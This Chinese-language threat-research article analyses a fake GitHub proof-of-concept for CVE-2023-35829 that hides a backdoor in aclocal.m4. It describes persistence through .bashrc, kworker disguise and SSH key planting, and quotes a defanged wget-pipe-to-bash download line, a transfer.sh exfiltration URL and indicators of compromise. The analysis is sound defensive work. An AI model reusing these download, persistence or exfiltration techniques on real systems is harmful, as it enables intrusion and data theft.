安全研究人员依靠 PoC 通过无害测试来了解潜在的漏洞。在这种情况下,PoC 就是一头披着羊皮的狼,在无害的学习工具的幌子下隐藏着恶意。其隐藏的后门构成了隐秘、持续的威胁。作为下载程序运行,它默默地转储并执行 Linux bash 脚本,同时将其操作伪装成内核级进程。
它的持久化方法相当狡猾。它用于从源代码文件构建可执行文件,利用make命令创建kworker文件并将其文件路径添加到bashrc文件,从而使恶意软件能够在受害者的系统中持续运行。
该后门具有广泛的数据盗窃能力。它可以窃取大量数据——从主机名和用户名到主目录内容的详尽列表。此外,攻击者可以通过将 ssh 密钥添加到authorized_keys文件来获得对目标系统的完全访问权限。
尽管该恶意 PoC 已从 GitHub 中删除,但它已被广泛分享,在其邪恶本质被曝光之前就获得了广泛关注。对于执行此操作的人来说,数据泄露的可能性很高。因此,至关重要的是:
-
-
-
-
检查/tmp/.iCE-unix.pid是否存在潜在威胁
虽然区分合法 PoC 和欺骗性 PoC 可能具有挑战性,但采用安全实践(例如在隔离环境(例如虚拟机)中进行测试)可以提供一层保护。
尽管不是全新的,这种通过 PoC 传播恶意软件的趋势引起了重大担忧,而且我们很可能会看到这种策略继续发展。Uptycs 威胁研究团队在发现此类威胁方面保持警惕,从而帮助安全研究社区及时了解不断变化的网络安全风险。
在测试各种CVE的PoC时,我们的团队遇到了一声称解决了 CVE-2023-35829(一个严重漏洞),Uptycs XDR 检测到其异常活动。严重的违规行为表明它可能具有欺骗性,促使我们质疑其合法性。
可疑活动包括意外的网络连接、异常的数据传输和未经授权的系统访问尝试。进一步调查充实了 aclocal.m4 作为需要额外分析的初始文件。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
aclocal.m4通常是automake的一部分,由autoconf用于合并宏。它通常不是这里的elf (可执行且可链接格式)文件。
图 2 显示了make如何触发src/aclocal.m4,这是本文的重点。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
二进制文件的 main 函数以一个有趣的字符串kworker开头(图 3)。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
第 79 行检查二进制文件是否名为kworker。如果为 true,则流程传递到第 84 行中的else条件。如果不是,则执行两个函数,称为copy_to_kworker()和add_to_bashrc()。建立后门持久性,将当前文件复制到$HOME/.local/kworker并将其文件路径添加到$HOME/.bashrc 文件。
为了隐藏其存在,该程序将自身嵌入到bashrc中。check_for_pidfile ()函数(图 4)有助于确保同一程序的多个实例不会同时运行。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图 4 – Check_for_pidfile() 函数
检查/tmp/.ICE-unix.pid路径后,如果没有函数使用flock(2)来限制文件访问,则会写入当前正在运行的进程的PID 。仅当主函数返回零 ( 0 )时程序才会继续,这表明当前进程是独占的。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
通过fork程序来实现,在main函数中创建一个新的字符串[kworker/8:3]来掩盖原来的命令行参数。随后,父进程执行curl_func()函数,该函数使用libcurl库下载一个经过混淆的URL,因此基本的静态分析无法轻易找到它。网址为hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php;它包含一个 bash 脚本,如果 curl 请求成功,该脚本就会运行。
(libcurl提供对curl 的编程访问;它可以直接包含在二进制文件中{静态编译}或动态调用。)
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图 6 – 摘自curl_func()
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
% s变量被curl请求输出替换,这意味着以下是kworker运行的命令:
sh -c wget -q -O - http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2>&1 > /dev/null
这个 PoC 是从旧的、合法的概念验证Linux 内核漏洞 CVE-2022-34918。从表面上看,它似乎是一个真实的演示,配有模仿真实输出的字符串。但通过仔细检查其代码,尤其是在modprobe.c中发现的差异,这种欺骗的真实本质就会变得显而易见。fake modprobe.c
中的new_sn ()函数分配内存,尝试打开特定文件,如果成功打开则关闭该文件,生成随机数,然后暂停程序执行一段随机时间。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图 8 – PoC 之间 modprobe.c 的比较
prepare_root_shell ()函数打印一些字符串并根据条件调用 setup_modprobe_payoad() 函数。完成这些操作后,它会以状态代码0退出。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图 9 – 打印看上去合法的字符串的代码部分
前面提到的setup_modprobe_payoad()为filename变量赋值,然后执行/bin/sh命令来打开一个新的系统 shell。然后它释放分配给filename 的内存。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图10 – 显示它正在伪造 shell 的代码段
总的来说,伪造的 PoC 会休眠一段随机的时间,打印看似合法的字符串,最终启动 / bin/bash shell。
奇怪的是,当在此 shell 中执行whoami时,它会错误地将用户 ID 报告为root。这种欺骗是通过利用 PoC 根 shell 内部和外部的用户命名空间 ID 的差异来实现的。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图 11 – 列出 PoC 根 shell 内的命名空间
图 12 – 列出 PoC 根 shell 外部的命名空间
如图 11 和 12 所示,两个 shell 之间的用户命名空间不同,这意味着它们使用两个不同的命名空间。
(Linux 内核命名空间允许隔离系统资源。每个资源都为特定资源(例如 PID、网络接口、文件系统等)提供独立的环境。这种隔离有助于防止干扰,并在运行的进程或组件之间提供一定程度的安全性)在这里
,虚假 PoC 利用命名空间概念来创建根 shell 的假象。具体来说,它操作用户命名空间,该命名空间负责管理给定进程或容器内的用户和组身份。但实际上,授予的权限仅限于/bin/bash给定命名空间内的 shell。
通过 Uptycs XDR 检测
使用 Uptycs XDR,我们检测到该二进制文件主要充当下载程序,从远程源检索脚本并在受感染的系统上执行它。执行后,下载的脚本最初访问/etc/passwd文件。然后它修改~/.ssh/authorized_keys以授予未经授权的访问权限,并使用curl通过transfer[.]sh窃取数据。与 MITRE ATT&CK 矩阵相关,这些操作的组合导致 Uptycs XDR 中的中等水平检测。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
hxxp[:]//cunniloss[.]accesscam[.]org/term[.]php[?]term[=]hxxps[:]//transfer[.]sh/rnmWbQyyz8/<用户名>[.]txt
(注:托管该脚本的域名已被删除,因此本文无法进行详细分析。)
结论
Uptycs 团队已经看到了这种作案手法早些时候; 通过恶意 PoC 传播恶意软件并不新鲜。相同的配置文件 ChriSander22 正在传播另一个针对 VMware Fusion CVE-2023-20871 的伪造 PoC。其内容与CVE-2023-35829相同,同样有aclocal.m4触发隐藏后门的安装。ChriSander22 的其他两个存储库都已关闭,但我们无法确认是 Github 还是个人资料所有者执行了此操作。
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图 14 – 虚假 CVE-2023-20871 PoC 目录
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
图 15 – 假 PoC 的 Github 简介页面
![PoC 漏洞:带有后门恶意软件的虚假概念证明分析 PoC 漏洞:带有后门恶意软件的虚假概念证明分析]()
恶意存储库
https://github.com/ChriSanders22/CVE-2023-35829-poc/
https://github.com/ChriSanders22/CVE-2023-20871-poc/
https://github.com/apkc/CVE-2023-35829-poc
IOCS
文件名 |
sha256 |
aclocal.m4 |
caa69b10b0bfca561dec90cbd1132b6dcb2c8a44d76a272a0b70b5c64776ff6c |
URLs
hxxp[:]//cunniloss[.]accesscam[.]org
hxxp[:]//transfer[.]sh
IP 81[.]4[.]109[.]16
评论